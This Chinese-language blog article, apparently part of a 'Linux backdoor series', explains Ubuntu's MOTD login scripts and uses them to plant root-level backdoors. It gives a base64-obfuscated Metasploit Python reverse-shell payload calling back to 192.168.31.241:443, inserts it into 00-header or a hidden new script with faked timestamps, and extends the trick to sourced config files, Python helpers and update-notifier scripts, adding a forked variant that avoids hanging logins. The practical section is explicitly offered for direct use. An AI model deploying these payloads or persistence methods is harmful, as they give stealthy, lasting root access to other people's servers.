前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >MOTD 后门引发的思考 | Linux 后门系列

MOTD 后门引发的思考 | Linux 后门系列

作者头像
意大利的猫
发布2022-01-20 16:57:11
7.7K0
发布2022-01-20 16:57:11
举报
文章被收录于专栏:漫流砂

最近看了苑房弘老师的打靶课程,发现了 MOTD 这个东西,于是研究了一下,发现很适合做后门,早在08年以前就有恶意软件使用了这种方式,今天系统地研究一下

motd,全称Message Of The Day,是Linux中发送问候消息的功能,一般在我们登录服务器后显示

每次任意用户登录时都会触发motd服务的功能,这个功能的脚本几乎都是使用root 权限来启动的,所以很适合用来做后门

实用部分

随着关注我们的朋友越来越多,我们已经开始警觉性的将思考使用尽可能分为两个方面,因为一部分人的需求就是不需要思考,直接拿过来用,所以先上实用部分

motd 脚本文件位置

在 Ubuntu 18.04中 motd 的动态脚本都在 /etc/update-motd.d/这个目录下

这些脚本动态的组合成了我们上面看到的那么 Banner 信息

这些文件只允许 root 用户编辑,所以使用此后门需要先获取root权限

留后门

这个目录下的所有文件在任意用户登录后都会执行一遍,所以我们可以选择新建一个脚本或者修改其中的脚本来完成留后门的目的

00-header 文件为例

代码语言:javascript
复制
#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
    # Fall back to using the very slow lsb_release utility
    DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

可以看出这些文件都是 bash 可执行脚本,想知道脚本什么含义,我们直接手动执行一下脚本就好

打印了一串 banner 信息,也就是最初我们登录后显示的 banner 信息中的第一行信息,打印这串信息是由下面这行代码实现的

代码语言:javascript
复制
printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

这是一条 shell 命令,所以我们可以知道,在这些脚本文件中的 shell 代码是会在任意用户登录后执行的,所以就出现了两种留后门的方案

  • 修改默认脚本
  • 新建恶意脚本
修改默认脚本

msf 生成基于 pythonpayload

组合后的 payload

代码语言:javascript
复制
python3 -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMzEuMjQxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))"

修改 00-header ,添加我们的 payload

开启监听,并退出当前登录,重新登录

成功上线,并且获取到 root 权限

新建恶意脚本

这样我们就新建了一个恶意脚本,将恶意脚本的创建时间设置为和其他脚本一致

代码语言:javascript
复制
sudo touch -acmr /etc/update-motd.d/95-hwe-eol /etc/update-motd.d/.20-network-dist

监听,退出,登录

成功获取 root 权限

思考部分

这一部分就比较繁杂了,涉及到一些思考的思路,可能在错误的路上绕来绕去,但这都是我们正常的思考过程

MOTD 简介

MOTD 的历史很悠久,具体可以参考下面这篇文章:

浅谈motd的历史,并在Linux下使用多种方法实现动态motd消息显示 https://untitled.pw/software/linux/2337.html

一开始我以为MOTD 是一项服务

MOTD 的表现形式来看,我以为 MOTD 是一项服务

既然是一项服务,我们就可以查看这项服务的详细信息

结果发现 MOTD 服务的配置文件是空的,空的配置文件是无法启动一项服务的

但是刚才我们设置后门的时候明明是正常的,所以我猜测可能服务名字不叫 MOTD ,而是 MOTD-XXX

好巧不巧的是,正好有一项服务叫做 motd-new ,接下来我就对 motd-news 这个服务进行了一顿分析

可以看到 motd 服务,准确说叫 motd-news 服务的具体配置文件了,这里涉及一个启动文件 /etc/update-motd.d/50-motd-news 这个文件在 /etc/update-motd.d/目录下,也就是刚才我们放置恶意脚本的地方

具体关于系统服务相关的知识可以查看

systemctl 针对 service 类型的配置文件 https://wizardforcel.gitbooks.io/vbird-linux-basic-4e/content/150.html

/etc/update-motd.d/50-motd-news 文件内容比较长

代码语言:javascript
复制
#!/bin/sh
#
#    50-motd-news - print the live news from the Ubuntu wire
#    Copyright (C) 2016-2020 Canonical Ltd.
#    Copyright (C) 2016-2017 Dustin Kirkland
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#             Steve Langasek <steve.langasek@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

##############################################################################
# This program could be rewritten in C or Golang for faster performance.
# Or it could be rewritten in Python or another higher level language
# for more modularity.
# However, I've insisted on shell here for transparency!
#                                                                     - Dustin
##############################################################################

# Source the local configuration
[ -r /etc/default/motd-news ] && . /etc/default/motd-news

# Exit immediately, unless we're enabled
# This makes this script very easy to disable in /etc/default/motd-news configuration
[ "$ENABLED" = "1" ] || exit 0

# Ensure sane defaults
[ -n "$URLS" ] || URLS="https://motd.ubuntu.com"
[ -n "$WAIT" ] || WAIT=5
[ -n "$CACHE" ] || CACHE="/var/cache/motd-news"
[ "$1" = "--force" ] && FORCED=1

# Ensure we print safely, maximum of the first 10 lines,
# maximum of the first 80 chars per line, no control chars
safe_print() {
    cat "$1" | head -n 10 | tr -d '\000-\011\013\014\016-\037' | cut -c -80
}


# If we're not forcing an update, and we have a cached motd-news file,
# then just print it and exit as quickly as possible, for login performance.
# Note that systemd should keep this cache file up to date, asynchronously
if [ "$FORCED" != "1" ]; then
      if [ -r $CACHE ]; then
        echo
        safe_print $CACHE
    else
        : > $CACHE
    fi
    exit 0
fi

# If we've made it here, we've been given the --force argument,
# probably from the systemd motd-news.service.  Let's update...

# Abort early if wget is missing
[ -x /usr/bin/wget ] || exit 0

# Generate our temp files, clean up when done
NEWS=$(mktemp) || exit 1
ERR=$(mktemp) || exit 1
CLOUD=$(mktemp) || exit 1
trap "rm -f $NEWS $ERR $CLOUD" HUP INT QUIT ILL TRAP KILL BUS TERM

# Construct a user agent, similar to Firefox/Chrome/Safari/IE to
# ensure a proper, tailored, accurate message of the day

# wget browser version, for debug purposes
wget_ver="$(dpkg -l wget | awk '$1 == "ii" { print($3); exit(0); }')"

# Distribution version, for messages releated to this Ubuntu release
. /etc/lsb-release
lsb=$(echo "$DISTRIB_DESCRIPTION" | sed -e "s/ /\//g")
codename="$DISTRIB_CODENAME"

# Kernel version and CPU type, for messages related to a particular revision or hardware
platform="$(uname -o)/$(uname -r)/$(uname -m)"
arch="$(uname -m)"
cpu="$(grep -m1 "^model name" /proc/cpuinfo | sed -e "s/.*: //" -e "s:\s\+:/:g")"
cloud_id="unknown"
if [ -x /usr/bin/cloud-id ]; then
    /usr/bin/cloud-id > "$CLOUD" 2>/dev/null
    if [ $? -eq 0 ]; then
        # sanitize it a bit, just in case
        cloud_id=$(cut -c -40 "${CLOUD}" | tr -c -d '[:alnum:]')
        if [ -z "${cloud_id}" ]; then
            cloud_id="unknown"
        fi
    fi
fi

# Piece together the user agent
USER_AGENT="wget/$wget_ver $lsb $platform $cpu cloud_id/$cloud_id"

# Loop over any configured URLs
for u in $URLS; do
    # Ensure https:// protocol, for security reasons
    case $u in
        https://*)
            true
        ;;
        https://motd.ubuntu.com)
            u="$u/$codename/$arch"
        ;;
        *)
            continue
        ;;
    esac
    # If we're forced, set the wait to much higher (1 minute)
    [ "$FORCED" = "1" ] && WAIT=60
    # Fetch and print the news motd
    result=0
    not_found_is_ok=0
    wget --timeout "$WAIT" -U "$USER_AGENT" -O- --content-on-error "$u" >"$NEWS" 2>"$ERR" || result=$?
    # from wget's manpage: 8   Server issued an error response.
    if [ $result -eq 8 ]; then
        if grep -q "ERROR 404" "$ERR"; then
            # The server's 404 document is the generic, non cloud-specific, motd-news
            # content present in the index.txt file
            not_found_is_ok=1
        fi
    fi
    if [ $result -eq 0 ] || [ $not_found_is_ok -eq 1 ]; then
        echo
        # At most, 10 lines of text, remove control characters, print at most 80 characters per line
        safe_print "$NEWS"
        # Try to update the cache
        safe_print "$NEWS" 2>/dev/null >$CACHE || true
    else
        : > "$CACHE"
     fi
done
rm -f "$NEWS" "$ERR" "$CLOUD"
exit 0

很长的代码,好在有注释,我们挨行看一看

代码语言:javascript
复制
# Source the local configuration
[ -r /etc/default/motd-news ] && . /etc/default/motd-news

注释的意思是“使本地配置生效”

这里的[ -r xxx ]是一种 if 判断,-r filename 如果 filename 可读,则为真。具体可以参照下面这篇文章:

Linux篇:shell脚本中if的 “-e,-d,-f” https://www.jianshu.com/p/1f556bbfcd20

后面的 . /etc/default/motd-news 的意思是使/etc/default/motd-news 这个配置生效,等同于 source /etc/default/motd-news

连起来就是如果配置文件可读,那么就让这个配置文件生效。从文件内容来看应该是设置了三个环境变量

  • ENABLED=1
  • URLS="https://motd.ubuntu.com"
  • WAIT=5

这里就产生了第一个值得探究的问题了,. 或者 source 是如何让配置生效的

代码语言:javascript
复制
# Exit immediately, unless we're enabled
# This makes this script very easy to disable in /etc/default/motd-news configuration
[ "$ENABLED" = "1" ] || exit 0

这里是一个判断,如果 ENABLED=1 ,则继续运行,否则退出脚本。这样就比较方便通过一个环境变量去控制开关

command1 || command2 如果||左边的命令(command1)未执行成功,那么就执行||右边的命令(command2)

代码语言:javascript
复制
# Ensure sane defaults
[ -n "$URLS" ] || URLS="https://motd.ubuntu.com"
[ -n "$WAIT" ] || WAIT=5
[ -n "$CACHE" ] || CACHE="/var/cache/motd-news"
[ "$1" = "--force" ] && FORCED=1

这里的 [ -n "$string" ] 是一种 if 判断,如果 string 非空,返回 true

其实也就是设置了一些缺省值,如果 $URLS 没有被设置,那么就设置其为 URLS="https://motd.ubuntu.com"

shell编程中 $1 是指除了本文件以外的第一个参数,与 python 等语言中的 argv[1] 类似

代码语言:javascript
复制
# Ensure we print safely, maximum of the first 10 lines,
# maximum of the first 80 chars per line, no control chars
safe_print() {
    cat "$1" | head -n 10 | tr -d '\000-\011\013\014\016-\037' | cut -c -80
}

确保打印字符安全合法

代码语言:javascript
复制
# If we're not forcing an update, and we have a cached motd-news file,
# then just print it and exit as quickly as possible, for login performance.
# Note that systemd should keep this cache file up to date, asynchronously
if [ "$FORCED" != "1" ]; then
      if [ -r $CACHE ]; then
        echo
        safe_print $CACHE
    else
        : > $CACHE
    fi
    exit 0
fi

这是一个更新 cache 的操作,如果经过上面的代码,环境变量 $FORCED 不是 1 的话,就会在这里停止脚本,我们可以执行脚本试一下

代码语言:javascript
复制
# Abort early if wget is missing
[ -x /usr/bin/wget ] || exit 0

# Generate our temp files, clean up when done
NEWS=$(mktemp) || exit 1
ERR=$(mktemp) || exit 1
CLOUD=$(mktemp) || exit 1
trap "rm -f $NEWS $ERR $CLOUD" HUP INT QUIT ILL TRAP KILL BUS TERM

-x filename 如果 filename 可执行,则为真,这里确保 wget 命令存在

剩下几行就是生成一个临时文件,mktemp 用于生成一个临时文件

trap 用于捕捉某种信号,之后做一些操作,具体可以参照下面这篇文章

trap 命令,Linux trap 命令详解:捕捉信号和其他事件并执行命令。- Linux 命令搜索引擎 https://wangchujiang.com/linux-command/c/trap.html

代码语言:javascript
复制
# Construct a user agent, similar to Firefox/Chrome/Safari/IE to
# ensure a proper, tailored, accurate message of the day

# wget browser version, for debug purposes
wget_ver="$(dpkg -l wget | awk '$1 == "ii" { print($3); exit(0); }')"

# Distribution version, for messages releated to this Ubuntu release
. /etc/lsb-release
lsb=$(echo "$DISTRIB_DESCRIPTION" | sed -e "s/ /\//g")
codename="$DISTRIB_CODENAME"

# Kernel version and CPU type, for messages related to a particular revision or hardware
platform="$(uname -o)/$(uname -r)/$(uname -m)"
arch="$(uname -m)"
cpu="$(grep -m1 "^model name" /proc/cpuinfo | sed -e "s/.*: //" -e "s:\s\+:/:g")"
cloud_id="unknown"
if [ -x /usr/bin/cloud-id ]; then
    /usr/bin/cloud-id > "$CLOUD" 2>/dev/null
    if [ $? -eq 0 ]; then
        # sanitize it a bit, just in case
        cloud_id=$(cut -c -40 "${CLOUD}" | tr -c -d '[:alnum:]')
        if [ -z "${cloud_id}" ]; then
            cloud_id="unknown"
        fi
    fi
fi

# Piece together the user agent
USER_AGENT="wget/$wget_ver $lsb $platform $cpu cloud_id/$cloud_id"

这一整段代码用于构建一个 User-Agent ,如果你阅读了 MOTD 简介部分的那篇文章,你应该知道这段代码组合 User-Agent 内容是什么,不知道也没关系,我们看到这段代码的最后一行是一堆变量的组合,我们可以直接将代码保存为一个shell 脚本打印一下 USER_AGENT 的值

20行存在报错,但是大部分内容都没问题,我们看一下 20 行是什么

$CLOUD 这个文件找不到,没关系,我们补齐这段代码

最终得到的 USER_AGENT

代码语言:javascript
复制
wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/4.15.0-161-generic/x86_64 Intel(R)/Core(TM)/i7-9700K/CPU/@/3.60GHz cloud_id/nocloud

这里包含了很多信息

  • wget 版本
  • Ubuntu 发行版信息
  • 内核版本信息
  • CPU架构信息
  • CPU型号信息
  • cloud_id 这个 id 是一个分布式云服务相关的 id 具体参照: https://cloudinit.readthedocs.io/en/latest/
代码语言:javascript
复制

# Loop over any configured URLs
for u in $URLS; do
    # Ensure https:// protocol, for security reasons
    case $u in
        https://*)
            true
        ;;
        https://motd.ubuntu.com)
            u="$u/$codename/$arch"
        ;;
        *)
            continue
        ;;
    esac
    # If we're forced, set the wait to much higher (1 minute)
    [ "$FORCED" = "1" ] && WAIT=60
    # Fetch and print the news motd
    result=0
    not_found_is_ok=0
    wget --timeout "$WAIT" -U "$USER_AGENT" -O- --content-on-error "$u" >"$NEWS" 2>"$ERR" || result=$?
    # from wget's manpage: 8   Server issued an error response.
    if [ $result -eq 8 ]; then
        if grep -q "ERROR 404" "$ERR"; then
            # The server's 404 document is the generic, non cloud-specific, motd-news
            # content present in the index.txt file
            not_found_is_ok=1
        fi
    fi
    if [ $result -eq 0 ] || [ $not_found_is_ok -eq 1 ]; then
        echo
        # At most, 10 lines of text, remove control characters, print at most 80 characters per line
        safe_print "$NEWS"
        # Try to update the cache
        safe_print "$NEWS" 2>/dev/null >$CACHE || true
    else
        : > "$CACHE"
     fi
done
rm -f "$NEWS" "$ERR" "$CLOUD"
exit 0

剩下这一部分就是这个服务将刚刚组合的 USER-AGENT 作为 wgetUser-Agent 参数向制定的服务器发起请求,之后根据请求结果进行不同的判断

我们拷贝一份完整的脚本,打印出我们感兴趣的值,比如 wget --timeout "u" >"ERR" || result=

代码语言:javascript
复制
wget --timeout "60" -U "wget/1.19.4-1ubuntu2.2 Ubuntu/18.04.6/LTS GNU/Linux/4.15.0-161-generic/x86_64 Intel(R)/Core(TM)/i7-9700K/CPU/@/3.60GHz cloud_id/nocloud" -O- --content-on-error "https://motd.ubuntu.com" >"/tmp/tmp.V1nleX99gq" 2>"/tmp/tmp.zvPfn44ikZ" || result=0

这段的意思就是向 https://motd.ubuntu.com 发送一个 GET 请求, 其中 User-Agent 就是我们电脑的那些信息,将结果写入我们生成的随机文件中

也就是说 /etc/update-motd.d/50-motd-news 文件的意义就是收集我们电脑上的一些信息,之后传递给 Ubuntu 官方,之后官方会返回一些信息给我们,这是不是涉及一些信息泄漏呢?

有文章说这个操作是为了当存在一些漏洞的时候,Ubuntu可以通过这个方式来传递给我们,也有文章指出是为了打一些广告

到这里我懵了呀, 根本没有执行 /etc/update-motd.d/ 文件夹中的任何脚本,这是怎么回事?

之后查询相关资料后,我发现,其实 motd 并不是一个单独的服务,而是 PAM module 模块的一个组件,这样要完整分析的话就需要去从源代码层面去分析了,现在还不是做这个的时候,我们还是通过行为来进行分析

参照

https://man7.org/linux/man-pages/man8/pam_motd.8.html

从行为角度分析 motd

通过查阅一些资料,我们知道, motd 最早设计用来提示一些静态信息,也就是像黑板一样写上一些字符,给后续登录的用户传递一些信息,传递静态信息只需要向文件 /etc/motd 中写入要传递的字符就可以了,这个文件在 Ubuntu 18.04 中默认不存在,只需要新建就可以了。在这个文件中写入的所有内容都会被当作字符打印出来,所以没有什么利用价值

后来静态信息已经满足不了需求了,所以就出现了类似现在的电子黑板的东西——动态信息传递

可以执行一些指令,接下来,我们对这些脚本一个一个来看一看

00-header

代码语言:javascript
复制
#!/bin/sh
#
#    00-header - create the header of the MOTD
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

[ -r /etc/lsb-release ] && . /etc/lsb-release

if [ -z "$DISTRIB_DESCRIPTION" ] && [ -x /usr/bin/lsb_release ]; then
    # Fall back to using the very slow lsb_release utility
    DISTRIB_DESCRIPTION=$(lsb_release -s -d)
fi

printf "Welcome to %s (%s %s %s)\n" "$DISTRIB_DESCRIPTION" "$(uname -o)" "$(uname -r)" "$(uname -m)"

经过上面分析 50-motd-news ,我相信这里没有什么难度,就是打印一些信息

需要注意的是这里加载了一个配置文件 /usr/bin/lsb_release,执行了一个程序 lsb_release ,其中 lsb_release 是一个 Python脚本

相信你已经想到这里的问题了,我们后面会进行探究

10-help-text

代码语言:javascript
复制
#!/bin/sh
#
#    10-help-text - print the help text associated with the distro
#    Copyright (C) 2009-2010 Canonical Ltd.
#
#    Authors: Dustin Kirkland <kirkland@canonical.com>,
#             Brian Murray <brian@canonical.com>
#
#    This program is free software; you can redistribute it and/or modify
#    it under the terms of the GNU General Public License as published by
#    the Free Software Foundation; either version 2 of the License, or
#    (at your option) any later version.
#
#    This program is distributed in the hope that it will be useful,
#    but WITHOUT ANY WARRANTY; without even the implied warranty of
#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#    GNU General Public License for more details.
#
#    You should have received a copy of the GNU General Public License along
#    with this program; if not, write to the Free Software Foundation, Inc.,
#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.

printf "\n"
printf " * Documentation:  https://help.ubuntu.com\n"
printf " * Management:     https://landscape.canonical.com\n"
printf " * Support:        https://ubuntu.com/advantage\n"

也就是打印四行帮助信息

50-landscape-sysinfo

代码语言:javascript
复制
#!/bin/sh
cores=$(grep -c ^processor /proc/cpuinfo 2>/dev/null)
[ "$cores" -eq "0" ] && cores=1
threshold="${cores:-1}.0"
if [ $(echo "`cut -f1 -d ' ' /proc/loadavg` < $threshold" | bc) -eq 1 ]; then
    echo
    echo -n "  System information as of "
    /bin/date
    echo
    /usr/bin/landscape-sysinfo
else
    echo
    echo " System information disabled due to load higher than $threshold"
fi

从代码中我们可以看到,这里执行了 grepif/bin/date/usr/bin/landscape-sysinfo

/bin/date 是一个二进制文件,我们这里先不直接搞二进制(当然你可以搞),不然就和命令替换没什么区别了

/usr/bin/landscape-sysinfo 是一个 Python 脚本,这似乎是我们可以修改的东西,这里就产生了我们可以探究的第二个问题

88-esm-announce

代码语言:javascript
复制
#!/bin/sh
stamp="/var/lib/ubuntu-advantage/messages/motd-esm-announce"

[ ! -r "$stamp" ] || cat "$stamp"

这里就是 cat 了一个文件而已

90-updates-available

代码语言:javascript
复制
#!/bin/sh

stamp="/var/lib/update-notifier/updates-available"

[ ! -r "$stamp" ] || cat "$stamp"

同上

91-contract-ua-esm-status

代码语言:javascript
复制
#!/bin/sh
stamp="/var/lib/ubuntu-advantage/messages/motd-esm-service-status"

[ ! -r "$stamp" ] || cat "$stamp"

同上

91-release-upgrade

代码语言:javascript
复制
#!/bin/sh

# if the current release is under development there won't be a new one
if [ "$(lsb_release -sd | cut -d' ' -f4)" = "(development" ]; then
    exit 0
fi
if [ -x /usr/lib/ubuntu-release-upgrader/release-upgrade-motd ]; then
    exec /usr/lib/ubuntu-release-upgrader/release-upgrade-motd
fi

这里执行了lsb_releasecut ,满足条件的情况下会执行 /usr/lib/ubuntu-release-upgrader/release-upgrade-motd

这个脚本的意思是如果当前版本是开发版,则不会有新版本,也就是直接退出脚本

如果不是,则检查更新

如果 /usr/lib/ubuntu-release-upgrader/release-upgrade-motd 具有执行权限,则执行这个文件

默认存在这个文件,具备可执行权限

/usr/lib/ubuntu-release-upgrader/release-upgrade-motd 是一个 shell 脚本

这是第三个需要探究的问题

92-unattended-upgrades

代码语言:javascript
复制
#!/bin/sh

if [ -x /usr/share/unattended-upgrades/update-motd-unattended-upgrades ]; then
    exec /usr/share/unattended-upgrades/update-motd-unattended-upgrades
fi

如果 /usr/share/unattended-upgrades/update-motd-unattended-upgrades 存在执行权限,则执行

默认存在这个文件,具备可执行权限

同上

95-hwe-eol

代码语言:javascript
复制
#!/bin/sh

if [ -x /usr/lib/update-notifier/update-motd-hwe-eol ]; then
    exec /usr/lib/update-notifier/update-motd-hwe-eol
fi

如果 /usr/lib/update-notifier/update-motd-hwe-eol 存在执行权限,则执行

默认存在这个文件,具备可执行权限

同上

97-overlayroot

代码语言:javascript
复制
#!/bin/sh

(egrep "overlayroot|/media/root-ro|/media/root-rw" /proc/mounts 2>/dev/null | sort -r) || true
echo

这里是从 /proc/mounts 文件中筛选字符,之后对结果进行排序。没啥可探究的

98-fsck-at-reboot

代码语言:javascript
复制
#!/bin/sh

if [ -x /usr/lib/update-notifier/update-motd-fsck-at-reboot ]; then
    exec /usr/lib/update-notifier/update-motd-fsck-at-reboot
fi

如果 /usr/lib/update-notifier/update-motd-fsck-at-reboot 存在执行权限,则执行

默认存在这个文件,具备可执行权限

同上

98-reboot-required

代码语言:javascript
复制
#!/bin/sh

if [ -x /usr/lib/update-notifier/update-motd-reboot-required ]; then
    exec /usr/lib/update-notifier/update-motd-reboot-required
fi

如果 /usr/lib/update-notifier/update-motd-reboot-required 存在执行权限,则执行

默认存在这个文件,具备可执行权限

同上

这样所有的文件我们都分析完了,将其中可探究的内容做了标记,下面我们针对可探究的地方进行探究

探究

如果在 /etc/update-motd.d/ 下建立目录,目录中的文件会执行吗?

答案是并不会,此时我怀疑是不是对目录权限有要求,所以我复制了 /etc/update-motd.d 这个目录的权限,之后创建了新的脚本

结果还是不会执行

source 和 . 是如何使策略配置生效的

参考 Linux Source Command with Examples https://linuxhint.com/linux-source-command-examples/

文章指出,很简单,其实就是执行了这个配置文件,这样配置文件中的赋值就会以环境变量的方式生效,而shell脚本也会实现相应的效果

我们做个实验

可以看到, source. 确实是执行了脚本中的内容,那这个话题就大了,我们先所有范围,只探究 motd 中默认加载的配置文件

  • 00-header -> . /etc/lsb-release
  • 50-motd-news -> . /etc/default/motd-news

我们尝试在 /etc/lsb-release 中加入恶意指令

成功反弹 shell ,并且我们可以看到,这个文件中只有一些环境变量。

我们恢复 /etc/lsb-release ,在 /etc/default/motd-news 做同样的实验

一样可以反弹 shell

所以我们在实用部分直接修改 /etc/update-motd.d/ 下的脚本或多或少有些鲁莽了,我们可以通过修改这些配置文件来达到一样的效果

如果我在 source 或 . 指定的文件中套娃会怎么样

没错,接下来我们要探究的是在 /etc/lsb-release 文件中再 source 其他文件

从这里可以看到,我们可以无限套娃,所以我们可以通过设置一系列看似合理的配置文件,之后执行我们的命令

其实这部分内容在之前研究其他后门的时候就已经探究过了,但是考虑很多兄弟没看过之前的文章,所以这次重提一下

这个点说透以后,能用来做后门的可就不止 motd 这一个组件了,你可以想象一下,得有多少地方会使用 source或 . 来加载配置文件呀,这完全可以作为一个单独的后门方式去讲,但这里已经讲了就不单独开章节了

我们在 Ubuntu 18.04 中简单搜索一下

粗略的计算有 196

这就是说这些文件中我们都可以塞进去一些恶意程序

这个可扩展性太强了,我在之前的文章中已经说过一部分了,大家可以继续思考,做出更多隐蔽的后门方法,同时呢,也是给这些做应急响应的兄弟提个醒,可以从某些角度去发现恶意程序

motd 脚本中涉及的 python 脚本
  • 00-header -> /usr/bin/lsb_release
  • 50-motd-news -> /usr/bin/landscape-sysinfo
  • 50-motd-news -> /usr/bin/cloud-id

python 脚本我们尝试将我们的 payload 直接插入进去

/usr/bin/lsb_release 会卡住

/usr/bin/cloud-id 只有启动 motd-news 服务的时候才会执行

/usr/bin/landscape-sysinfo

成功返回shell

motd 脚本中执行的其他 shell 脚本
  • 91-release-upgrade -> /usr/lib/ubuntu-release-upgrader/release-upgrade-motd
  • 92-unattended-upgrades -> /usr/share/unattended-upgrades/update-motd-unattended-upgrades
  • 95-hwe-eol -> /usr/lib/update-notifier/update-motd-hwe-eol
  • 98-fsck-at-reboot -> /usr/lib/update-notifier/update-motd-fsck-at-reboot
  • 98-reboot-required -> /usr/lib/update-notifier/update-motd-reboot-required

我们直接向其中加入恶意代码

/usr/lib/ubuntu-release-upgrader/release-upgrade-motd

同理,其他shell 脚本也是一样

这里面可变化的项也是太多了,这些外部 shell 脚本本身就有好多代码,如果在其中插入一些隐蔽的指令或者干脆使用上面探究的 source 的方法,其实是很难发现的

插入指令后登录功能卡住

有些场景下,插入我们的指令后出现登录卡住的问题,当然反弹shell 没有问题,ssh 的正常功能收到了影响

可以使用 Linuxfork,让父进程退出,子进程继续执行,这样就一般就不会卡住了(这里的/usr/bin/lsb_release还是会卡住,可能是调用方式的问题 )

代码语言:javascript
复制
python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IG9zCnJldCA9IG9zLmZvcmsoKQppZiByZXQgPiAwOgogICAgZXhpdCgpCmVsc2U6CiAgICB0cnk6CiAgICAgICAgZXhlYyhfX2ltcG9ydF9fKCdiYXNlNjQnKS5iNjRkZWNvZGUoX19pbXBvcnRfXygnY29kZWNzJykuZ2V0ZW5jb2RlcigndXRmLTgnKSgnYVcxd2IzSjBJSE52WTJ0bGRDeDZiR2xpTEdKaGMyVTJOQ3h6ZEhKMVkzUXNkR2x0WlFwbWIzSWdlQ0JwYmlCeVlXNW5aU2d4TUNrNkNnbDBjbms2Q2drSmN6MXpiMk5yWlhRdWMyOWphMlYwS0RJc2MyOWphMlYwTGxOUFEwdGZVMVJTUlVGTktRb0pDWE11WTI5dWJtVmpkQ2dvSnpFNU1pNHhOamd1TXpFdU1qUXhKeXcwTkRNcEtRb0pDV0p5WldGckNnbGxlR05sY0hRNkNna0pkR2x0WlM1emJHVmxjQ2cxS1Fwc1BYTjBjblZqZEM1MWJuQmhZMnNvSno1Skp5eHpMbkpsWTNZb05Da3BXekJkQ21ROWN5NXlaV04yS0d3cENuZG9hV3hsSUd4bGJpaGtLVHhzT2dvSlpDczljeTV5WldOMktHd3RiR1Z1S0dRcEtRcGxlR1ZqS0hwc2FXSXVaR1ZqYjIxd2NtVnpjeWhpWVhObE5qUXVZalkwWkdWamIyUmxLR1FwS1N4N0ozTW5Pbk45S1FvPScpWzBdKSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk=')))"

python 版本

代码语言:javascript
复制
import os
ret = os.fork()
if ret > 0:
    exit()
else:
    try:
        exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMzEuMjQxJyw0NDMpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
    except Exception as e:
        exit()
